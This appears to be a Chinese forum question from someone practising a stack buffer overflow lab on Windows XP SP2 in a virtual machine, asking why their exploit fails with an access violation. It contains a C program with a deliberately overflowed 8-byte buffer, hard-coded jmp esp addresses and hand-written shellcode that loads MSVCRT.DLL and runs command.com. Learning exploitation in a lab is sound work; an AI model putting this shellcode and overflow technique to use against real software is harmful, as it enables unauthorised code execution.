一个Q版溢出的疑问,请大侠解决,谢谢
环境描述:VM 10.0.0 build-1295980+WinXP+sp2
程序运行环境:VC++6.0
程序内容:
#include <stdio.h>
#include <string.h>
char name[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
//"\x64\xaf\xe1\x77" //!覆盖成jmp esp的地址,在sp2上的地址77e1af64!
//"\xb8\x9e\xe1\x77" //此处我使用的是sp4的地址,利用程序在虚拟机中得到的地址
"\x12\x45\xfa\x7f" //因为课件版本与我使用的版本不同,我将这三个jmp esp地址都试了
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x54\xA2"
"\xE6\x77\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x4a\x9b\x01\x78\xFF\xD0"; //打开dos窗口
int main()
{
char output[8];
strcpy(output, name);
for(int i=0;i<8&&output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}
结果:
1、不能打开dos窗口;
2、按下VC++的“F5”后提示,“Unhandled exception in 111.exe (NTDLL.DLL):0xC0000005: Access Violation”